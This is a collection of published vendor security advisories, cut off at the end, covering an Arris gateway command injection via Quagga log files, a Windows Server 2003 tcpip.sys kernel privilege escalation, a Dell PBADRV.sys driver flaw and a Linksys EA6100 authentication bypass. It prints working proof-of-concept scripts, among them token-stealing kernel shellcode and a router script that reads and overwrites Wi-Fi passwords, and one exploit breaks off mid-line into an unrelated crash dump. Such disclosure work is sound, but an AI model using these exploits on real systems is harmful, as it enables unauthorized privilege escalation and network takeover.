PROMPT(config)# log file /var/tmp/kore-log.txt PROMPT(config)# exit PROMPT# log notifications KORELOGIC # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. 2015/09/10 07:16:50 RIP: KORELOGIC User Access Verification Password: ``` It appears as though we can write to files. Further testing, confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writing is allowed. There are several shell scripts in the web root. ```bash # ls -la usr/www/*.sh lrwxrwxrwx 1 root root 18 Sep 5 04:55 usr/www/guioff.sh -> /var/tmp/guioff.sh lrwxrwxrwx 1 root root 17 Sep 5 04:55 usr/www/guion.sh -> /var/tmp/guion.sh # cat var/tmp/guion.sh echo 1 > /nvram/8/guiflag # cat var/tmp/guioff.sh echo 0 > /nvram/8/guiflag ``` The `lighttpd.conf` file indicates there is a handler defined for shell scripts. ```text #ARRIS CHANGE BEGIN #### CGI module cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl", ".sh" => "/bin/sh", "/walk" => "/fss/gw/usr/bin/web2snmp", "/snmpSet" => "/fss/gw/usr/bin/web2snmp", "/snmpGet" => "/fss/gw/usr/bin/web2snmp", "/login" => "/fss/gw/usr/bin/web2snmp", "/backup" => "/fss/gw/usr/bin/web2snmp", "/restore" => "/fss/gw/usr/bin/web2snmp", "/hsd" => "/fss/gw/usr/bin/web2snmp", "/setPassword" => "/fss/gw/usr/bin/web2snmp", # UNIHAN ADD START "/storelog" => "/fss/gw/usr/bin/web2snmp", "/checkPassword" => "/fss/gw/usr/bin/web2snmp" # UNIHAN ADD END ) ``` ```text PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1` PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/shell.txt ``` Followed by a GET request: ```http GET /guion.sh HTTP/1.1 Host: 192.168.100.1:8080 User-Agent: Mozilla/5.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Connection: close ``` And response: ```http HTTP/1.1 200 OK Content-Length: 0 Date: Wed, 09 Sep 2015 20:28:55 GMT Server: lighttpd ``` Now we telnet: ```bash $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux User Access Verification Password: ``` Note that the current upstream version of Quagga does not appear to be affected (tested against Quagga 0.99.24.1). First, the daemon runs with dropped privileges for operations like reading the motd file or writing logs. So, `banner motd` cannot read a root-only file such as `/etc/shadow`, and `log file /root/.ssh/authorized_keys` (for example) cannot write to a root-only file. Furthermore, in the scenario outlined here, triggering the shell commands written to the logfile required an additional moving part - the lighttpd server - which is not included in a Quagga install. ## Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability. KoreLogic wishes to thank Arris for their cooperation and attention to this issue. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Hank Leininger of KoreLogic, Inc. ## Proof of Concept N/A --- ## KL-001-2015-001: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation URL: https://korelogic.com/advisories/KL-001-2015-001/ KL-001-2015-001 - Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation - CVE-2014-4076 - Microsoft TCP/IP Protocol Driver Advisory ID: KL-001-2015-001 Published: 2015.01.28 Vendor: Microsoft Product: TCP/IP Protocol Driver Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 CVE: CVE-2014-4076 CWE: CWE-269 - Improper Privilege Management Discovered by: Matt Bergin ## References - [CWE-269 - Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html) - [CVE-2014-4076](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076) - [Signed advisory text](/advisories/KL-001-2015-001.txt) ## Vulnerability Description The `tcpip.sys` driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. ## Technical Description By crafting an input buffer that will be passed to the Tcp device through the `NtDeviceIoControlFile()` function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the `tcpip.sys` driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL `0x00120028`. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ```text ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? ``` A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: ```text kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) ``` The `nt!NtDeviceIoControlFile()` function was called, creating a chain of subsequent function calls that eventually led to the `tcpip!SetAddrOptions()` function being called. By de-constructing the call to `nt!NtDeviceIoControlFile()` we can derive all required information to re-create this exception. ```text 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 .... kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 .... kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 .... kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 .... kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 .... kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 .... ``` The inputBuffer for this call references memory at `0x1000` with a length of `0x20`. ```text kd> db 0x1100 L?0x20 00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................ 00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "............... ``` After review of the `tcpip.sys` driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker. ```text kd> db 0x28 L?0x11 00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............ 00000038 01 eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 0000002a ff ??? ``` Since the instruction pointer now contains `0x0000002a`, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process. ## Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor's public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070). ## Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. ## Exploit ```python #!/usr/bin/python2 # # KL-001-2015-001 / MS14-070 / CVE-2014-4076 # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation # Matt Bergin @ KoreLogic / Level @ Smash the Stack # shout out to bla # from optparse import OptionParser from subprocess import Popen from os.path import exists from struct import pack from threading import Thread from time import sleep from ctypes import * from sys import exit CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def spawn_process(path): process = Popen([path],shell=True) pid = process.pid return def main(): print "CVE-2014-4076 x86 exploit, Level\n" global pid, process parser = OptionParser() parser.add_option("--path",dest="path",help="path of process to start and elevate") parser.add_option("--pid",dest="pid",help="pid of running process to elevate") o,a = parser.parse_args() if (o.path == None and o.pid == None): print "[!] no path or pid set" exit(1) else: if (o.path != None): if (exists(o.path) != True): print "[!] path does not exist" exit(1) else: Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start() if (o.pid != None): try: pid = int(o.pid) except: print "[!] could not convert PID to an interger." exit(1) while True: if ("pid" not in globals()): sleep(1) else: print "[+] caught attacker cmd at %s, elevating now" % (pid) break buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" sc = sc.replace("\x41\x41\x41\x41",pack(' !analyze -v READ_ADDRESS: 909090d4 FAULTING_IP: +2902faf00efdfc0 00000008 8b4044 mov eax,dword ptr [eax+44h] MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: pythonw.exe TRAP_FRAME: b24bdc8c -- (.trap 0xffffffffb24bdc8c) ErrCode = 00000000 eax=90909090 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=012c1be8 edi=b24bdd64 eip=00000008 esp=b24bdd00 ebp=b24bdd20 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 00000008 8b4044 mov eax,dword ptr [eax+44h] ds:0023:909090d4=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 8051cc7f to 804f8cc5 STACK_TEXT: b24bdc14 8051cc7f 00000050 909090d4 00000000 nt!KeBugCheckEx+0x1b b24bdc74 805405d4 00000000 909090d4 00000000 nt!MmAccessFault+0x8e7 b24bdc74 00000008 00000000 909090d4 00000000 nt!KiTrap0E+0xcc WARNING: Frame IP not in any known module. Following frames may be wrong. b24bdcfc 8063d5cd 00000001 0000000c b24bdd14 0x8 b24bdd20 8060eb43 00000002 b24bdd64 0021f7f8 nt!KeQueryIntervalProfile+0x37 b24bdd54 8053d6d8 00000002 012c1be8 0021f7fc nt!NtQueryIntervalProfile+0x61 b24bdd54 7c90e514 00000002 012c1be8 0021f7fc nt!KiFastCallEntry+0xf8 0021f7e4 7c90d84a 1d1add9a 00000002 012c1be8 ntdll!KiFastSystemCallRet 0021f7e8 1d1add9a 00000002 012c1be8 0021f89c ntdll!NtQueryIntervalProfile+0xc 0021f7fc 1d1acab6 1d1ac900 0021f81c 00000008 _ctypes!DllCanUnloadNow+0x5b6a 0021f82c 1d1a8db8 7c90d83e 0021f920 24f7d09f _ctypes!DllCanUnloadNow+0x4886 0021f8dc 1d1a959e 00001100 7c90d83e 0021f910 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d83e 012d4300 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07cf0c 00000000 012d4300 00000000 _ctypes+0x54d8 00000000 00000000 5044408b 000004bb 88808b00 python27!PyObject_Call+0x4c STACK_COMMAND: kb FOLLOWUP_IP: nt!KiTrap0E+cc 805405d4 85c0 test eax,eax SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: nt!KiTrap0E+cc FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrnlpa.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4d00d4fb FAILURE_BUCKET_ID: 0x50_nt!KiTrap0E+cc BUCKET_ID: 0x50_nt!KiTrap0E+cc Followup: MachineOwner --------- ``` Example against Windows 7: ```text Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Users\dev\Desktop\Mini091715-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Windows Server 2003 Kernel Version 3790 (Service Pack 2) UP Free x86 compatible Product: Server, suite: Enterprise TerminalServer SingleUserTS Machine Name: Kernel base = 0x80800000 PsLoadedModuleList = 0x808a1fe8 Debug session time: Thu Sep 17 08:21:15.962 2015 (UTC - 7:00) System Uptime: 0 days 0:10:19.785 ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffffffff, 1, 80820de3, 0} ***** Kernel symbols are WRONG. Please fix symbols to do analysis. ************************************************************************* *** WARNING: Unable to verify timestamp for hal.dll *** ERROR: Module load completed but symbols could not be loaded for hal.dll *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys *** WARNING: Unable to verify timestamp for srv.sys *** ERROR: Module load completed but symbols could not be loaded for srv.sys ************************************************************************* Probably caused by : PBADRV.sys ( PBADRV+13a0 ) Followup: MachineOwner --------- kd> .symfix;.reload Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 80820de3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name Unable to load image \??\C:\Documents and Settings\Administrator\Desktop\PBADRV.sys, Win32 error 0n2 *** WARNING: Unable to verify timestamp for PBADRV.sys *** ERROR: Module load completed but symbols could not be loaded for PBADRV.sys WRITE_ADDRESS: GetPointerFromAddress: unable to read from 808a1df0 GetPointerFromAddress: unable to read from 808a1de8 GetUlongFromAddress: unable to read from 808a67f8 ffffffff FAULTING_IP: nt!IopCompleteRequest+97 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: python.exe CURRENT_IRQL: 1 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre IRP_ADDRESS: 87c57378 TRAP_FRAME: ba456a6c -- (.trap 0xffffffffba456a6c) ErrCode = 00000002 eax=00000004 ebx=87c57378 ecx=00000001 edx=00000000 esi=88064e50 edi=ffffffff eip=80820de3 esp=ba456ae0 ebp=ba456b24 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x97: 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER: from 8085b93b to 80827109 STACK_TEXT: ba4569e0 8085b93b 00000050 ffffffff 00000001 nt!KeBugCheckEx+0x1b ba456a54 808885d8 00000001 ffffffff 00000000 nt!MmAccessFault+0xa91 ba456a54 80820de3 00000001 ffffffff 00000000 nt!KiTrap0E+0xd8 ba456b24 8082cd9a 87c573b8 ba456b70 ba456b64 nt!IopCompleteRequest+0x97 ba456b74 80a59f1f 00000000 00000000 00000000 nt!KiDeliverApc+0xb8 ba456b94 80a5a153 ba456b01 00000000 87c573b8 hal!HalpDispatchSoftwareInterrupt+0x49 ba456bb0 80a5a1d0 00000001 ba456b00 ba456bd0 hal!HalpCheckForSoftwareInterrupt+0x81 ba456bc0 8082f793 00000000 ba456b00 ba456bf0 hal!KfLowerIrql+0x62 ba456bd0 80829939 87c573b8 87c57378 00000000 nt!KiExitDispatcher+0xd3 ba456bf0 8081daa5 87c573b8 87a0cb68 00000000 nt!KeInsertQueueApc+0x57 ba456c24 ba5423a0 87c57378 87cbb490 87c57378 nt!IopfCompleteRequest+0x201 WARNING: Stack unwind information not available. Following frames may be wrong. ba456c3c 8081d7d3 87d13c88 87c57378 87a0cb68 PBADRV+0x13a0 ba456c50 808ef85d 87c573e8 87a0cb68 87c57378 nt!IofCallDriver+0x45 ba456c64 808f05ff 87d13c88 87c57378 87a0cb68 nt!IopSynchronousServiceTail+0x10b ba456d00 808e912e 00000788 00000000 00000000 nt!IopXxxControlFile+0x5e5 ba456d34 80885614 00000788 00000000 00000000 nt!NtDeviceIoControlFile+0x2a ba456d34 7c82845c 00000788 00000000 00000000 nt!KiSystemServicePostCall 0021fa8c 00000000 00000000 00000000 00000000 0x7c82845c STACK_COMMAND: kb FOLLOWUP_IP: PBADRV+13a0 ba5423a0 ?? ??? SYMBOL_STACK_INDEX: b SYMBOL_NAME: PBADRV+13a0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: PBADRV IMAGE_NAME: PBADRV.sys DEBUG_FLR_IMAGE_TIMESTAMP: 478274de FAILURE_BUCKET_ID: 0x50_PBADRV+13a0 BUCKET_ID: 0x50_PBADRV+13a0 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x50_pbadrv+13a0 FAILURE_ID_HASH: {7469b31a-ad45-6d57-5589-106dc943201e} Followup: MachineOwner --------- ``` ## Mitigation and Remediation Recommendation The vendor no longer supports this version, and no known remediation is available. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```python ######################################################################## # # Copyright 2015 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # # # Author: Matt Bergin (KoreLogic / Smash the Stack) # # Purpose: Dell PBADRV.sys Privilege Escalation PoC XP SP3 # ######################################################################## from ctypes import byref, c_int, c_ulong, windll from sys import exit CreateFileA, NtAllocateVirtualMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory, DeviceIoControlFile = windll.kernel32.WriteProcessMemory, windll.ntdll.ZwDeviceIoControlFile CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = 2, 1, 3, 0 handle = CreateFileA("\\\\.\\PBADRV", FILE_SHARE_WRITE | FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None) NtAllocateVirtualMemory(-1, byref(c_int(0x1)), 0x0, byref(c_int(0xffff)), 0x1000 | 0x2000, 0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) DeviceIoControlFile(handle, NULL, NULL, NULL, byref(c_ulong(8)), 0x0022201c, 0x1, 0x258, 0x90909090, 0) # Fail CloseHandle(handle) exit(0) ``` --- ## KL-001-2015-006: Linksys EA6100 Wireless Router Authentication Bypass URL: https://korelogic.com/advisories/KL-001-2015-006/ KL-001-2015-006 - Linksys EA6100 Wireless Router Authentication Bypass - Linksys EA6100 - EA6300 Wireless Router Advisory ID: KL-001-2015-006 Published: 2015-12-04 Vendor: Linksys Product: EA6100 - EA6300 Wireless Router Version: 1.1.5 Platform: Embedded Linux CWE: CWE-288 - Authentication Bypass Using an Alternate Path or Channel Discovered by: Matt Bergin ## References - [CWE-288 - Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html) - [Signed advisory text](/advisories/KL-001-2015-006.txt) ## Vulnerability Description Multiple CGI scripts in the web-based administrative interface of the Linksys EA6100 - EA6300 Wireless Router allow unauthenticated access to the high-level administrative functions of the device. This vulnerability can be leveraged by an unauthenticated attacker to obtain the router's administrative password and subsequently arbitrarily configure the device. ## Technical Description ```bash root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls bin dev etc home JNAP lib libexec linuxrc mnt opt proc root sbin sys tmp usr var www root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls bootloader_info.cgi dhcp_log.txt get_counter_info.cgi incoming_log.txt JNAP outgoing_log.txt security_log.txt sysinfo.cgi usbinfo.cgi cgi-bin ezwifi_cfg.cgi getstinfo.cgi jcgi license.pdf qos_info.cgi speedtest_info.cgi ui root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi #!/bin/sh ######################################################## # sysinfo.sh ----> /www/sysinfo.cgi # # When adding new debug information into this script file # do the following: # 1) create your debug script # 2) call your debug script in this sysinfo.sh script # using the format: # if [ -f ]; then # ./ # fi ######################################################## ... ... ``` Other CGI files that are accessible from an unauthenticated perspective can be used to configure settings for the affected device. This led to the development of an exploit to abuse these vulnerabilities. ```text level:Debug level$ ./linksys-ea6100-auth-bypass -h Usage: ./linksys-ea6100-auth-bypass [params] -h Help Menu -i Target Address -r Reset Attack -g Get System Info -p Get Wifi Password Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r Brought to you by Level at KoreLogic level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p Getting wireless passphrase SSID=840146d6919 Passphrase=e0fc253e585bf33d7b level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more Brought to you by Level at KoreLogic Getting system info page generated on Tue Jan 20 20:01:48 UTC 2015 UpTime: 20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05 Firmware Version: 1.1.5.159694 Firmware Builddate: 2014-03-21 03:09 Product.type: production Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014 Board: focus ... ... ``` ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```python #!/usr/bin/env python3 ######################################################################## # # Copyright 2015 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # ####################################################################### from optparse import OptionParser from urllib.request import urlopen, Request from base64 import b64encode from json import loads from sys import exit def reset_ap(host, passphrase): """Resets the wireless security settings of the access point.""" try: payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]' headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))} request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers) fd = urlopen(request) data5 = loads(fd.read())['result'] fd.close() except Exception as e: print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e))) return -1 try: payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]' headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))} request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers) fd = urlopen(request) data2 = loads(fd.read())['result'] fd.close() except Exception as e: print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e))) return -1 return data5, data2 def is_admin_default(host): """Determines whether or not the administrator passphrase is default.""" try: request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'}) fd = urlopen(request) data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault'] fd.close() except Exception as e: print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e))) return -1 return data def is_host_alive(host): """Does a basic HTTP test to determine access.""" try: fd = urlopen("https://{:s}/".format(str(host))) fd.close() except Exception as e: print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e))) return False print("[+] Target host is alive, proceeding.") return True def run_payload(host, payload_url): """Run a provided HTTP request.""" try: target = "https://{:s}/{:s}".format(str(host), str(payload_url)) fd = urlopen(target) data = fd.read() fd.close() except Exception as e: print("[!] Unable to execute payload, reason: {0}".format(str(e))) return -1 return data.decode('utf-8') def main(): """Handle options provided and execute appropriate payloads.""" payload_url, o, a = None, None, None print("Brought to you by Level at KoreLogic\n") parser = OptionParser() parser.add_option("--host", dest="host", help="Target IP address") parser.add_option("--sysinfo", action="store_true", help="Get target system information") parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash") parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password") parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)") parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)") parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings") parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target") o, a = parser.parse_args() if o.host is None: print("[!] You must specify a target host, please see --help") exit(1) else: if is_host_alive(o.host) is not True: print("[!] Could not establish connection to target") exit(1) else: if o.sysinfo is not None: print("[+] Obtaining system information -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): print(line) if o.getpwhash is not None: print("[+] Obtaining wireless password hash -") payload_url = "getstinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): print("\t{0}".format(str(line))) if o.getclearpw is not None: print("[+] Obtaining wireless ssid and password -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "wl0_ssid=" in line: print("\twl0 SSID: {0}".format(str(line.split("=")[1]))) if "wl1_ssid=" in line: print("\twl1 SSID: {0}".format(str(line.split("=")[1]))) if 